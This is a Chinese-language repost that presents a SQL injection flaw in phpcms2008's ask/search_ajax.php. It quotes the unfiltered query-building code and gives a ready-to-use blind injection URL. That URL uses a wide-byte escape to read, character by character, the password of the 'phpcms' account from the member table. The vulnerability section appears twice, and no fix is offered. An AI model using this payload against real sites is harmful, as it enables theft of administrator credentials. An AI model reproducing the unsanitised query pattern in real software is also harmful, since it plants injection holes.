phpcms2008 注入漏洞 利用分析
發(fā)布日期:2021-12-26 02:27 | 文章來(lái)源:腳本之家
這個(gè)是最新有人發(fā)現(xiàn)的
該漏洞文件:ask/search_ajax.php
漏洞說(shuō)明:
/ask/search_ajax.php
Code:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//沒(méi)做過(guò)濾直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
測(cè)試方法:
/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
該漏洞文件:ask/search_ajax.php
漏洞說(shuō)明:
/ask/search_ajax.php
Code:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5";//沒(méi)做過(guò)濾直接感染了$where
}
else
{
exit('null');
}
$infos = $ask->listinfo($where, 'askid DESC', '', 10);
/ask/include/answer.class.php
Code:
function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)
{
if($where) $where = " WHERE $where";
if($order) $order = " ORDER BY $order";
$page = max(intval($page), 1);
$offset = $pagesize*($page-1);
$limit = " LIMIT $offset, $pagesize";
$r = $this->db->get_one("SELECT count(*) as number FROM $this->table_posts $where");
$number = $r['number'];
$this->pages = pages($number, $page, $pagesize);
$array = array();
$i = 1;
$result = $this->db->query("SELECT * FROM $this->table_posts $where $order $limit");
while($r = $this->db->fetch_array($result))
{
$r['orderid'] = $i;
$array[] = $r;
$i++;
}
$this->number = $this->db->num_rows($result);
$this->db->free_result($result);
return $array;
}
測(cè)試方法:
復(fù)制代碼
代碼如下:/ask/search_ajax.php?q=s%D5'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信